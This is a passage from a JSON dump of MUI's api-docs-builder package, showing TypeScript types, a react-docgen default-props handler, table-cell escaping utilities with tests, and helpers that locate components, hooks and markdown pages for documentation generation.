boolean;\n  typeStr: string;\n}\n\nexport interface HooksTranslations {\n  hookDescription: string;\n  deprecationInfo: string | undefined;\n  parametersDescriptions: {\n    [key: string]: {\n      description: string;\n      deprecated?: string;\n    };\n  };\n  returnValueDescriptions: {\n    [key: string]: {\n      description: string;\n      deprecated?: string;\n    };\n  };\n}\n\nexport interface ComponentClassDefinition {\n  key: string;\n  className: string;\n  description: string;\n  isGlobal: boolean;\n  isDeprecated?: boolean;\n  deprecationInfo?: string;\n}\n\ninterface AttributeDefinition {\n  default: string | undefined;\n  required: boolean | undefined;\n  type: { name: string; description: string | undefined };\n  deprecated: true | undefined;\n  deprecationInfo: string | undefined;\n}\n\nexport interface HookReactApi extends CommonReactApi {\n  parameters?: ParsedProperty[];\n  returnValue?: ParsedProperty[];\n  /**\n   * hook name\n   * @example 'useButton'\n   */\n  name: string;\n  parametersTable: { [key: string]: AttributeDefinition };\n  returnValueTable: { [key: string]: AttributeDefinition };\n  translations: HooksTranslations;\n}\n\nexport interface HookApiContent {\n  parameters: Record<string, AttributeDefinition>;\n  returnValue: Record<string, AttributeDefinition>;\n  name: string;\n  filename: string;\n  imports: string[];\n  demos: string;\n  deprecated: boolean | undefined;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/types/utils.types.ts",
    "content": "export type SeeMore = { description: string; link: { text: string; url: string } };\n\nexport interface Slot {\n  class: string | null;\n  name: string;\n  description: string;\n  default?: string;\n}\n\nexport interface ApiItemDescription {\n  name: string;\n  description: string;\n}\n\nexport type ComponentInfo = {\n  /**\n   * Full path to the source file.\n   */\n  filename: string;\n  /**\n   * Component name as imported in the docs, in the global MUI namespace.\n   */\n  name: string;\n  /**\n   * Component name with `Mui` prefix, in the global HTML page namespace.\n   */\n  muiName: string;\n  /**\n   * The name of the slots interface. By default we consider `${componentName}Slots`.\n   */\n  slotInterfaceName?: string;\n  apiPathname: string;\n  readFile: () => {\n    src: string;\n    spread: boolean;\n    shouldSkip: boolean;\n    EOL: string;\n    inheritedComponent?: string;\n  };\n  getInheritance: (inheritedComponent?: string) => null | {\n    /**\n     * Component name\n     */\n    name: string;\n    /**\n     * API pathname\n     */\n    apiPathname: string;\n  };\n  getDemos: () => Array<{ demoPageTitle: string; demoPathname: string; filePath: string }>;\n  apiPagesDirectory: string;\n  /**\n   * The path to import specific layout config of the page if needed.\n   */\n  layoutConfigPath?: string;\n  skipApiGeneration?: boolean;\n  /**\n   * If `true`, the component's name match one of the MUI System components.\n   */\n  isSystemComponent?: boolean;\n  /**\n   * If provided, this annotation will be used instead of the auto-generated demo & API links\n   */\n  customAnnotation?: string;\n};\n\nexport type HookInfo = {\n  /**\n   * Full path to the source file.\n   */\n  filename: string;\n  /**\n   * Hook name as imported in the docs, in the global MUI namespace.\n   */\n  name: string;\n  apiPathname: string;\n  readFile: ComponentInfo['readFile'];\n  getDemos: ComponentInfo['getDemos'];\n  apiPagesDirectory: string;\n  skipApiGeneration?: boolean;\n  /**\n   * If provided, this annotation will be used instead of the auto-generated demo & API links\n   */\n  customAnnotation?: string;\n};\n"
  },
  {
    "path": "packages/api-docs-builder/utils/createDescribeableProp.ts",
    "content": "import * as doctrine from 'doctrine';\nimport type { PropDescriptor, PropTypeDescriptor } from 'react-docgen';\n\nexport interface DescribeablePropDescriptor {\n  annotation: doctrine.Annotation;\n  defaultValue: string | null;\n  required: boolean;\n  type: PropTypeDescriptor;\n}\n\nexport type CreateDescribeablePropSettings = {\n  /**\n   * Names of props that do not check if the annotations equal runtime default.\n   */\n  propsWithoutDefaultVerification?: string[];\n};\n\n/**\n * Returns `null` if the prop should be ignored.\n * Throws if it is invalid.\n * @param prop\n * @param propName\n */\nexport default function createDescribeableProp(\n  prop: PropDescriptor,\n  propName: string,\n  settings: CreateDescribeablePropSettings = {},\n): DescribeablePropDescriptor | null {\n  const { defaultValue, description, required, type } = prop;\n  const jsdocDefaultValue = (prop as any).jsdocDefaultValue as { value: string } | undefined;\n\n  const { propsWithoutDefaultVerification = [] } = settings;\n\n  const renderedDefaultValue = (defaultValue?.value as string | undefined)?.replace(/\\r?\\n/g, '');\n  const renderDefaultValue = Boolean(\n    renderedDefaultValue &&\n    // Ignore \"large\" default values that would break the table layout.\n    renderedDefaultValue.length <= 150,\n  );\n\n  if (description === undefined) {\n    throw new Error(`The \"${propName}\" prop is missing a description.`);\n  }\n\n  const annotation = doctrine.parse(description, {\n    sloppy: true,\n  });\n\n  if (\n    annotation.description.trim() === '' ||\n    annotation.tags.some((tag) => tag.title === 'ignore')\n  ) {\n    return null;\n  }\n\n  if (jsdocDefaultValue !== undefined && defaultValue === undefined) {\n    // Assume that this prop:\n    // 1. Is typed by another component\n    // 2. Is forwarded to that component\n    // Then validation is handled by the other component.\n    // Though this does break down if the prop is used in other capacity in the implementation.\n    // So let's hope we don't make this mistake too often.\n  } else if (jsdocDefaultValue === undefined && defaultValue !== undefined && renderDefaultValue) {\n    const shouldHaveDefaultAnnotation =\n      // Discriminator for polymorphism which is not documented at the component level.\n      // The documentation of `component` does not know in which component it is used.\n      propName !== 'component';\n\n    if (shouldHaveDefaultAnnotation) {\n      throw new Error(\n        `JSDoc @default annotation not found. Add \\`@default ${defaultValue.value}\\` to the JSDoc of this prop.`,\n      );\n    }\n  } else if (\n    jsdocDefaultValue !== undefined &&\n    !propsWithoutDefaultVerification.includes(propName)\n  ) {\n    // `defaultValue` can't be undefined or we would've thrown earlier.\n    if (jsdocDefaultValue.value !== defaultValue!.value) {\n      throw new Error(\n        `Expected JSDoc @default annotation for prop '${propName}' of \"${jsdocDefaultValue.value}\" to equal runtime default value of \"${defaultValue?.value}\"`,\n      );\n    }\n  }\n\n  return {\n    annotation,\n    defaultValue: renderDefaultValue ? renderedDefaultValue! : null,\n    required: Boolean(required),\n    type: type!,\n  };\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/createTypeScriptProject.ts",
    "content": "import path from 'path';\nimport fs from 'fs';\nimport * as ts from 'typescript';\n\nexport interface TypeScriptProject {\n  name: string;\n  rootPath: string;\n  exports: Record<string, ts.Symbol>;\n  program: ts.Program;\n  checker: ts.TypeChecker;\n}\n\nexport interface CreateTypeScriptProjectOptions {\n  name: string;\n  rootPath: string;\n  /**\n   * Config to use to build this package.\n   * The path must be relative to the root path.\n   * @default 'tsconfig.build.json`\n   */\n  tsConfigPath?: string;\n  /**\n   * File used as root of the package.\n   * This property is used to gather the exports of the project.\n   *\n   * Use an array to target more than one entrypoint.\n   *\n   * @example 'src/index.d.ts'\n   * @example ['src/index.d.ts', 'src/PigmentStack/PigmentStack.tsx']\n   *          `PigmentStack` cannot be included in the `index.d.ts` file because it is using Pigment CSS specific API.\n   */\n  entryPointPath?: string | string[];\n  /**\n   * Files to include in the project.\n   * By default, it will use the files defined in the tsconfig.\n   */\n  files?: string[];\n}\n\nexport const createTypeScriptProject = (\n  options: CreateTypeScriptProjectOptions,\n): TypeScriptProject => {\n  const {\n    name,\n    rootPath,\n    tsConfigPath: inputTsConfigPath = 'tsconfig.build.json',\n    entryPointPath: inputEntryPointPath,\n    files,\n  } = options;\n\n  const tsConfigPath = path.join(rootPath, inputTsConfigPath);\n\n  const tsConfigFile = ts.readConfigFile(tsConfigPath, (filePath) =>\n    fs.readFileSync(filePath).toString(),\n  );\n\n  if (tsConfigFile.error) {\n    throw tsConfigFile.error;\n  }\n\n  // The build config does not parse the `.d.ts` files, but we sometimes need them to get the exports.\n  if (tsConfigFile.config.exclude) {\n    tsConfigFile.config.exclude = tsConfigFile.config.exclude.filter(\n      (pattern: string) => pattern !== 'src/**/*.d.ts',\n    );\n  }\n\n  const tsConfigFileContent = ts.parseJsonConfigFileContent(\n    tsConfigFile.config,\n    ts.sys,\n    path.dirname(tsConfigPath),\n  );\n\n  if (tsConfigFileContent.errors.length > 0) {\n    throw tsConfigFileContent.errors[0];\n  }\n\n  const program = ts.createProgram({\n    rootNames: files ?? tsConfigFileContent.fileNames,\n    options: tsConfigFileContent.options,\n  });\n\n  const checker = program.getTypeChecker();\n\n  let exports: TypeScriptProject['exports'] = {};\n  if (inputEntryPointPath) {\n    const arrayEntryPointPath = Array.isArray(inputEntryPointPath)\n      ? inputEntryPointPath\n      : [inputEntryPointPath];\n    arrayEntryPointPath.forEach((entry) => {\n      const entryPointPath = path.join(rootPath, entry);\n      const sourceFile = program.getSourceFile(entryPointPath);\n\n      const pathData = path.parse(entryPointPath);\n\n      exports = {\n        ...exports,\n        ...Object.fromEntries(\n          checker.getExportsOfModule(checker.getSymbolAtLocation(sourceFile!)!).map((symbol) => {\n            return [symbol.name, symbol];\n          }),\n        ),\n        ...(pathData.name !== 'index' && {\n          // use the default export when the entrypoint is not `index`.\n          [pathData.name]: checker.getSymbolAtLocation(sourceFile!)!,\n        }),\n      };\n    });\n  } else {\n    exports = {};\n  }\n\n  return {\n    name,\n    rootPath,\n    exports,\n    program,\n    checker,\n  };\n};\n\nexport type TypeScriptProjectBuilder = (\n  projectName: string,\n  options?: { files?: string[] },\n) => TypeScriptProject;\n\nexport const createTypeScriptProjectBuilder = (\n  projectsConfig: Record<string, Omit<CreateTypeScriptProjectOptions, 'name'>>,\n): TypeScriptProjectBuilder => {\n  const projects = new Map<string, TypeScriptProject>();\n\n  return (projectName: string, options: { files?: string[] } = {}) => {\n    const cachedProject = projects.get(projectName);\n    if (cachedProject != null) {\n      return cachedProject;\n    }\n\n    // eslint-disable-next-line no-console\n    console.log(`Building new TS project: ${projectName}`);\n\n    const project = createTypeScriptProject({\n      name: projectName,\n      ...projectsConfig[projectName],\n      ...options,\n    });\n\n    projects.set(projectName, project);\n    return project;\n  };\n};\n"
  },
  {
    "path": "packages/api-docs-builder/utils/defaultPropsHandler.ts",
    "content": "import type { NodePath } from '@babel/traverse';\nimport * as t from '@babel/types';\nimport { parse as parseDoctrine, Annotation } from 'doctrine';\nimport { utils, type Handler } from 'react-docgen';\n\nconst { getPropertyName, isReactForwardRefCall, printValue, resolveToValue } = utils;\n\n// based on https://github.com/reactjs/react-docgen/blob/735f39ef784312f4c0e740d4bfb812f0a7acd3d5/src/handlers/defaultPropsHandler.js#L1-L112\n// adjusted for material-ui getThemedProps\n\nfunction isImportedIdentifier(path: NodePath): boolean {\n  if (!path.isIdentifier()) {\n    return false;\n  }\n  const binding = path.scope.getBinding(path.node.name);\n  if (!binding) {\n    return false;\n  }\n  return (\n    binding.path.isImportSpecifier() ||\n    binding.path.isImportDefaultSpecifier() ||\n    binding.path.isImportNamespaceSpecifier()\n  );\n}\n\nfunction getMemberExpressionString(node: t.MemberExpression): string {\n  const parts: string[] = [];\n  let current: t.Expression = node;\n\n  while (t.isMemberExpression(current)) {\n    if (t.isIdentifier(current.property)) {\n      parts.unshift(current.property.name);\n    }\n    current = current.object;\n  }\n\n  if (t.isIdentifier(current)) {\n    parts.unshift(current.name);\n  }\n\n  return parts.join('.');\n}\n\nfunction isMemberExpressionWithImportedObject(path: NodePath): boolean {\n  if (!path.isMemberExpression()) {\n    return false;\n  }\n  const object = path.get('object');\n  if (Array.isArray(object)) {\n    return false;\n  }\n  // Check if the object (or root of nested member expression) is an imported identifier\n  let current = object;\n  while (current.isMemberExpression()) {\n    const innerObject = current.get('object');\n    if (Array.isArray(innerObject)) {\n      return false;\n    }\n    current = innerObject;\n  }\n  return isImportedIdentifier(current);\n}\n\nfunction getDefaultValue(propertyPath: NodePath) {\n  const valueNode = propertyPath.get('value');\n  if (!Array.isArray(valueNode) && !valueNode.isAssignmentPattern()) {\n    return null;\n  }\n\n  if (Array.isArray(valueNode)) {\n    return null;\n  }\n\n  let path: NodePath = valueNode.get('right') as NodePath;\n  let node = path.node;\n\n  let defaultValue: string | undefined;\n  if (path.isLiteral() && 'raw' in path.node) {\n    defaultValue = path.node.raw as string | undefined;\n  } else {\n    // Check if the original value is an identifier that refers to an import\n    // In that case, use just the identifier name instead of resolving\n    const originalPath = path.isAssignmentPattern() ? (path.get('right') as NodePath) : path;\n\n    if (isImportedIdentifier(originalPath)) {\n      defaultValue = (originalPath.node as t.Identifier).name;\n    } else if (isMemberExpressionWithImportedObject(originalPath)) {\n      // For member expressions like `duration.standard`, preserve the original expression\n      defaultValue = getMemberExpressionString(originalPath.node as t.MemberExpression);\n    } else {\n      // For non-imports and non-member expressions, resolve and print the value\n      if (path.isAssignmentPattern()) {\n        path = resolveToValue(path.get('right') as NodePath);\n      } else {\n        path = resolveToValue(path);\n      }\n      // Double-check if resolved to an import specifier (v6+ behavior)\n      if (\n        path.isImportSpecifier() ||\n        path.isImportDefaultSpecifier() ||\n        path.isImportNamespaceSpecifier()\n      ) {\n        // Get the local name from the original identifier\n        if (t.isTSAsExpression(node)) {\n          node = node.expression;\n        }\n        if (t.isIdentifier(node)) {\n          defaultValue = node.name;\n        }\n      }\n      if (defaultValue === undefined) {\n        node = path.node;\n        defaultValue = printValue(path);\n      }\n    }\n  }\n  if (defaultValue !== undefined) {\n    return {\n      value: defaultValue,\n      computed: t.isCallExpression(node) || t.isMemberExpression(node) || t.isIdentifier(node),\n    };\n  }\n\n  return null;\n}\n\nfunction getJsdocDefaultValue(jsdoc: Annotation): { value: string } | undefined {\n  const defaultTag = jsdoc.tags.find((tag) => tag.title === 'default');\n  if (defaultTag === undefined) {\n    return undefined;\n  }\n  return { value: defaultTag.description || '' };\n}\n\nfunction getDefaultValuesFromProps(properties: NodePath, documentedProps: Record<string, any>) {\n  const implementedProps: Record<string, NodePath> = {};\n\n  if (properties.isObjectPattern()) {\n    properties.get('properties').forEach((propertyPath) => {\n      if (propertyPath.isObjectProperty()) {\n        const propName = getPropertyName(propertyPath);\n        if (propName) {\n          implementedProps[propName] = propertyPath;\n        }\n      }\n    });\n  }\n\n  // Extract runtime default values from the destructuring pattern\n  Object.entries(documentedProps || []).forEach(([propName, propDescriptor]: [string, any]) => {\n    const propertyPath = implementedProps[propName];\n    if (propertyPath !== undefined) {\n      const defaultValue = getDefaultValue(propertyPath);\n      if (defaultValue) {\n        propDescriptor.defaultValue = defaultValue;\n      }\n    }\n  });\n}\n\nfunction getRenderBody(componentDefinition: NodePath): NodePath | null {\n  const value = resolveToValue(componentDefinition);\n  if (isReactForwardRefCall(value)) {\n    const args = value.get('arguments');\n    if (Array.isArray(args) && args.length > 0) {\n      const firstArg = args[0];\n      if (firstArg.isArrowFunctionExpression() || firstArg.isFunctionExpression()) {\n        const body = firstArg.get('body');\n        if (!Array.isArray(body) && body.isBlockStatement()) {\n          return body.get('body') as unknown as NodePath;\n        }\n      }\n    }\n    return null;\n  }\n  if (\n    componentDefinition.isArrowFunctionExpression() ||\n    componentDefinition.isFunctionExpression() ||\n    componentDefinition.isFunctionDeclaration()\n  ) {\n    const body = componentDefinition.get('body');\n    if (!Array.isArray(body) && body.isBlockStatement()) {\n      return body.get('body') as unknown as NodePath;\n    }\n  }\n  return null;\n}\n\n/**\n * Handle the case where `props` is explicitly declared with/without `React.forwardRef(…)`:\n *\n * @example\n * const Component = React.forwardRef((props, ref) => {\n *   const { className, ...other } = props;\n * })\n */\nfunction getExplicitPropsDeclaration(componentDefinition: NodePath): NodePath | undefined {\n  const functionNode = getRenderBody(componentDefinition);\n\n  // No function body available to inspect.\n  if (!functionNode) {\n    return undefined;\n  }\n\n  let propsPath: NodePath | undefined;\n\n  // Check if functionNode is iterable (array of statements)\n  // eslint-disable-next-line no-nested-ternary\n  const statements = Array.isArray(functionNode)\n    ? functionNode\n    : functionNode.node\n      ? [functionNode]\n      : [];\n\n  for (const path of statements) {\n    if (path.isVariableDeclaration && path.isVariableDeclaration()) {\n      const declarations = path.get('declarations');\n      if (Array.isArray(declarations) && declarations.length > 0) {\n        const declaratorPath = declarations[0];\n        const init = declaratorPath.get('init');\n        const id = declaratorPath.get('id');\n\n        // find `const {} = props`\n        // but not `const ownerState = props`\n        if (\n          !Array.isArray(init) &&\n          init.isIdentifier() &&\n          init.node.name === 'props' &&\n          !Array.isArray(id) &&\n          id.isObjectPattern()\n        ) {\n          propsPath = id;\n          break;\n        }\n      }\n    }\n  }\n\n  if (!propsPath) {\n    // Try to get component name for error message\n    let componentName = 'Unknown';\n    if (componentDefinition.isFunctionDeclaration() && componentDefinition.node.id) {\n      componentName = componentDefinition.node.id.name;\n    }\n    console.error(`${componentName}: could not find props declaration to generate jsdoc table. The component declaration should be in this format:\n\n  function Component(props: ComponentProps) {\n    const { ...spreadAsUsual } = props;\n    ...\n  }\n    `);\n  }\n\n  return propsPath;\n}\n\nconst defaultPropsHandler: Handler = (documentation, componentDefinition) => {\n  const props = getExplicitPropsDeclaration(componentDefinition);\n\n  // Get documented props from the documentation builder\n  const docObject = documentation.build();\n  const documentedProps = docObject.props || {};\n\n  // Always extract jsdocDefaultValue from prop descriptions\n  Object.entries(documentedProps).forEach(([, propDescriptor]: [string, any]) => {\n    if (propDescriptor.description === undefined) {\n      return;\n    }\n    const jsdocDefaultValue = getJsdocDefaultValue(\n      parseDoctrine(propDescriptor.description, {\n        sloppy: true,\n      }),\n    );\n    if (jsdocDefaultValue) {\n      propDescriptor.jsdocDefaultValue = jsdocDefaultValue;\n    }\n  });\n\n  // Extract runtime default values if we can find the props declaration\n  if (props && props.isObjectPattern()) {\n    getDefaultValuesFromProps(props, documentedProps);\n  }\n};\n\nexport default defaultPropsHandler;\n"
  },
  {
    "path": "packages/api-docs-builder/utils/escapeCell.test.ts",
    "content": "import { expect } from 'chai';\nimport escapeCell from './escapeCell';\n\ndescribe('escapeCell', () => {\n  it('escapes pipes outside backticks', () => {\n    const input = 'true | false';\n    const result = escapeCell(input);\n    expect(result).to.equal('true \\\\| false');\n  });\n\n  it('does not escape pipes inside single backticks', () => {\n    const input = '`true | false`';\n    const result = escapeCell(input);\n    expect(result).to.equal('`true | false`');\n  });\n\n  it('does not escape pipes inside multiple inline code spans', () => {\n    const input = 'Use `a | b` and `x | y` here';\n    const result = escapeCell(input);\n    expect(result).to.equal('Use `a | b` and `x | y` here');\n  });\n\n  it('escapes pipes in normal text but not inside backticks', () => {\n    const input = '`a | b` or c | d';\n    const result = escapeCell(input);\n    expect(result).to.equal('`a | b` or c \\\\| d');\n  });\n\n  it('handles strings without any pipes', () => {\n    const input = 'no pipes here';\n    const result = escapeCell(input);\n    expect(result).to.equal('no pipes here');\n  });\n\n  it('keeps < inside code spans but escapes outside', () => {\n    const input = 'Use <b>bold</b> and `<div>` tags';\n    const result = escapeCell(input);\n    expect(result).to.equal('Use &lt;b>bold&lt;/b> and `<div>` tags');\n  });\n\n  it('does not escape pipe at string start or end inside backticks', () => {\n    const input = '`| start and end |`';\n    const result = escapeCell(input);\n    expect(result).to.equal('`| start and end |`');\n  });\n\n  it('escapes pipe at string start or end outside backticks', () => {\n    const input = '| start | and end |';\n    const result = escapeCell(input);\n    expect(result).to.equal('\\\\| start \\\\| and end \\\\|');\n  });\n});\n"
  },
  {
    "path": "packages/api-docs-builder/utils/escapeCell.ts",
    "content": "function escapePipesOutsideBackticks(value: string): string {\n  // Split into chunks that are either code spans or normal text.\n  // Capturing group keeps the code chunks in the array.\n  return value\n    .split(/(`[^`]*`)/g)\n    .map((chunk) => (chunk.startsWith('`') ? chunk : chunk.replace(/\\|/g, '\\\\|')))\n    .join('');\n}\n\nexport default function escapeCell(value: string): string {\n  // As the pipe is use for the table structure\n  const newValue = escapePipesOutsideBackticks(value);\n\n  return newValue.replace(/</g, '&lt;').replace(/`&lt;/g, '`<');\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/escapeEntities.ts",
    "content": "export default function escapeEntities(value: string): string {\n  return value\n    .replace(/&/g, '&amp;')\n    .replace(/</g, '&lt;')\n    .replace(/>/g, '&gt;')\n    .replace(/\"/g, '&quot;')\n    .replace(/'/g, '&#39;');\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/extractInfoFromEnum.ts",
    "content": "import { Symbol, isPropertySignature, isEnumDeclaration, forEachChild, Node } from 'typescript';\nimport { TypeScriptProject } from './createTypeScriptProject';\nimport { ParsedProperty } from '../types/ApiBuilder.types';\nimport { getSymbolDescription, getSymbolJSDocTags, stringifySymbol } from '../buildApiUtils';\n\nconst parseProperty = async (\n  propertySymbol: Symbol,\n  project: TypeScriptProject,\n  name: string,\n): Promise<ParsedProperty> => ({\n  name,\n  description: getSymbolDescription(propertySymbol, project),\n  tags: getSymbolJSDocTags(propertySymbol),\n  required: !propertySymbol.declarations?.find(isPropertySignature)?.questionToken,\n  typeStr: await stringifySymbol(propertySymbol, project),\n});\n\nconst extractInfoFromEnum = async (\n  typeName: string,\n  sourceFileNamePattern: RegExp,\n  project: TypeScriptProject,\n): Promise<ParsedProperty[]> => {\n  // Generate the params\n  let result: ParsedProperty[] = [];\n  try {\n    const declarationCandidates = project.program\n      .getSourceFiles()\n      .filter((file) => sourceFileNamePattern.test(file.fileName));\n\n    let enumSymbol: Symbol | null = null;\n    declarationCandidates.forEach((file) => {\n      forEachChild(file, (node: Node) => {\n        if (isEnumDeclaration(node) && node.name.getText() === typeName) {\n          enumSymbol = project.checker.getSymbolAtLocation(node.name)!;\n        }\n      });\n    });\n\n    if (!enumSymbol) {\n      return [];\n    }\n\n    const type = project.checker.getDeclaredTypeOfSymbol(enumSymbol!);\n\n    // @ts-ignore\n    const typeDeclaration = type?.types ?? [type];\n    if (!typeDeclaration) {\n      return [];\n    }\n    const properties: Record<string, ParsedProperty> = {};\n\n    // @ts-ignore\n    await Promise.all(\n      typeDeclaration.map(async (t: any) => {\n        const propertySymbol = t.symbol;\n        properties[t.value] = await parseProperty(propertySymbol, project, t.value);\n      }),\n    );\n\n    result = Object.values(properties)\n      .filter((property) => !property.tags.ignore)\n      .sort((a, b) => a.name.localeCompare(b.name));\n  } catch {\n    console.error(`No declaration for ${typeName}`);\n  }\n\n  return result;\n};\n\nexport default extractInfoFromEnum;\n"
  },
  {
    "path": "packages/api-docs-builder/utils/extractInfoFromType.ts",
    "content": "import { Symbol, isPropertySignature } from 'typescript';\nimport { TypeScriptProject } from './createTypeScriptProject';\nimport { ParsedProperty } from '../types/ApiBuilder.types';\nimport { getSymbolDescription, getSymbolJSDocTags, stringifySymbol } from '../buildApiUtils';\n\nconst parseProperty = async (\n  propertySymbol: Symbol,\n  project: TypeScriptProject,\n): Promise<ParsedProperty> => ({\n  name: propertySymbol.name,\n  description: getSymbolDescription(propertySymbol, project),\n  tags: getSymbolJSDocTags(propertySymbol),\n  required: !propertySymbol.declarations?.find(isPropertySignature)?.questionToken,\n  typeStr: await stringifySymbol(propertySymbol, project),\n});\n\nconst extractInfoFromType = async (\n  typeName: string,\n  project: TypeScriptProject,\n): Promise<ParsedProperty[]> => {\n  // Generate the params\n  let result: ParsedProperty[] = [];\n\n  try {\n    const exportedSymbol = project.exports[typeName];\n    const type = project.checker.getDeclaredTypeOfSymbol(exportedSymbol);\n    // @ts-ignore\n    const typeDeclaration = type?.symbol?.declarations?.[0];\n    if (!typeDeclaration) {\n      return [];\n    }\n\n    const properties: Record<string, ParsedProperty> = {};\n    // @ts-ignore\n    const propertiesOnProject = type.getProperties();\n\n    // @ts-ignore\n    await Promise.all(\n      propertiesOnProject.map(async (propertySymbol) => {\n        properties[propertySymbol.name] = await parseProperty(propertySymbol, project);\n      }),\n    );\n\n    result = Object.values(properties)\n      .filter((property) => !property.tags.ignore)\n      .sort((a, b) => a.name.localeCompare(b.name));\n  } catch {\n    console.error(`No declaration for ${typeName}`);\n  }\n\n  return result;\n};\n\nexport default extractInfoFromType;\n"
  },
  {
    "path": "packages/api-docs-builder/utils/findApiPages.test.ts",
    "content": "import { expect } from 'chai';\nimport { extractApiPage } from './findApiPages';\n\ndescribe('extractApiPage', () => {\n  it('return info for api page', () => {\n    expect(\n      extractApiPage('/material-ui/docs/pages/material-ui/api/accordion-actions.js'),\n    ).to.deep.equal({\n      apiPathname: '/material-ui/api/accordion-actions',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/api-docs-builder/utils/findApiPages.ts",
    "content": "import path from 'path';\nimport * as fs from 'node:fs';\n\nconst getAllFiles = (dirPath: string, arrayOfFiles: string[] = []) => {\n  const files = fs.readdirSync(dirPath);\n\n  files.forEach((file) => {\n    if (fs.statSync(`${dirPath}/${file}`).isDirectory()) {\n      arrayOfFiles = getAllFiles(`${dirPath}/${file}`, arrayOfFiles);\n    } else {\n      arrayOfFiles.push(path.join(__dirname, dirPath, '/', file));\n    }\n  });\n\n  return arrayOfFiles;\n};\n\nexport function extractApiPage(filePath: string) {\n  filePath = filePath.replace(new RegExp(`\\\\${path.sep}`, 'g'), '/');\n  return {\n    apiPathname: filePath\n      .replace(/^.*\\/pages/, '')\n      .replace(/\\.(js|tsx)/, '')\n      .replace(/^\\/index$/, '/') // Replace `index` by `/`.\n      .replace(/\\/index$/, ''),\n  };\n}\n\nexport default function findApiPages(relativeFolder: string) {\n  let pages: Array<{ pathname: string }> = [];\n  let filePaths: string[] = [];\n  try {\n    filePaths = getAllFiles(path.join(process.cwd(), relativeFolder));\n  } catch (error) {\n    // eslint-disable-next-line no-console\n    console.log(error);\n    return [];\n  }\n  filePaths.forEach((itemPath) => {\n    if (itemPath.endsWith('.js')) {\n      const data = extractApiPage(itemPath);\n\n      pages.push({ pathname: data.apiPathname });\n    }\n  });\n\n  // sort by pathnames without '-' so that e.g. card comes before card-action\n  pages = pages.sort((a, b) => {\n    const pathnameA = a.pathname.replace(/-/g, '');\n    const pathnameB = b.pathname.replace(/-/g, '');\n    if (pathnameA < pathnameB) {\n      return -1;\n    }\n    if (pathnameA > pathnameB) {\n      return 1;\n    }\n    return 0;\n  });\n\n  return pages;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/findComponents.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport findIndexFile from './findIndexFile';\n\nconst componentRegex = /^(Unstable_)?([A-Z][a-z]*)+2?\\.(js|tsx)/;\n\n/**\n * Returns the component source in a flat array.\n * @param {string} directory\n * @param {Array<{ filename: string, indexFilename: string }>} components\n */\nexport default function findComponents(\n  directory: string,\n  components: { filename: string; indexFilename: string | null }[] = [],\n) {\n  const items = fs.readdirSync(directory);\n\n  items.forEach((item) => {\n    const itemPath = path.resolve(directory, item);\n\n    if (fs.statSync(itemPath).isDirectory()) {\n      findComponents(itemPath, components);\n      return;\n    }\n\n    if (!componentRegex.test(item)) {\n      return;\n    }\n\n    const indexFile = findIndexFile(directory);\n\n    components.push({\n      filename: itemPath,\n      ...indexFile,\n    });\n  });\n\n  return components;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/findHooks.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport findIndexFile from './findIndexFile';\n\nconst hooksRegexp = /use([A-Z][a-z]+)+\\.(js|tsx|ts)/;\n\n/**\n * Returns the hook source in a flat array.\n * @param {string} directory\n * @param {Array<{ filename: string }>} hooks\n */\nexport default function findHooks(\n  directory: string,\n  hooks: { filename: string; indexFilename: string | null }[] = [],\n) {\n  const items = fs.readdirSync(directory);\n\n  items.forEach((item) => {\n    const itemPath = path.resolve(directory, item);\n\n    if (fs.statSync(itemPath).isDirectory()) {\n      findHooks(itemPath, hooks);\n      return;\n    }\n\n    if (!hooksRegexp.test(item)) {\n      return;\n    }\n\n    const indexFile = findIndexFile(directory);\n\n    hooks.push({\n      filename: itemPath,\n      ...indexFile,\n    });\n  });\n\n  return hooks;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/findIndexFile.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\n\nconst indexFileRegex = /^index.(js|ts)$/;\n\n/**\n * Returns index.js/ts in any directory or null\n * @param {string} directory\n */\nexport default function getIndexFile(directory: string) {\n  const items = fs.readdirSync(directory);\n\n  const indexFile = items.reduce((prev, curr) => {\n    if (!indexFileRegex.test(curr)) {\n      return prev;\n    }\n    return curr;\n  }, '');\n\n  return {\n    indexFilename: indexFile ? path.join(directory, indexFile) : null,\n  };\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/findPagesMarkdown.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\n\ninterface MarkdownPage {\n  filename: string;\n  pathname: string;\n}\n\n/**\n * Returns the markdowns of the documentation in a flat array.\n */\nexport default function findPagesMarkdown(\n  directory: string = path.resolve(__dirname, '../../../docs/data'),\n  pagesMarkdown: MarkdownPage[] = [],\n) {\n  const items = fs.readdirSync(directory);\n\n  items.forEach((item) => {\n    const filename = path.resolve(directory, item);\n\n    if (fs.statSync(filename).isDirectory()) {\n      findPagesMarkdown(filename, pagesMarkdown);\n      return;\n    }\n\n    // Ignore non en-US source markdown.\n    if (!/\\.mdx?$/.test(item) || /-(zh|pt)\\.mdx?/.test(item)) {\n      return;\n    }\n\n    let pathname = filename\n      .replace(new RegExp(`\\\\${path.sep}`, 'g'), '/')\n      .replace(/^.*\\/data/, '')\n      .replace(/\\.mdx?/, '');\n\n    // Remove the last pathname segment.\n    pathname = pathname\n      .split('/')\n      .slice(0, pathname.split('/').length - 1)\n      .join('/');\n\n    pagesMarkdown.push({\n      // Relative location of the markdown file in the file system.\n      filename,\n      // Relative location of the page in the URL.\n      pathname,\n    });\n  });\n\n  return pagesMarkdown;\n}\n"
  },
  {
    "path": "packages/api-docs-builder/utils/generateApiTranslation.ts",
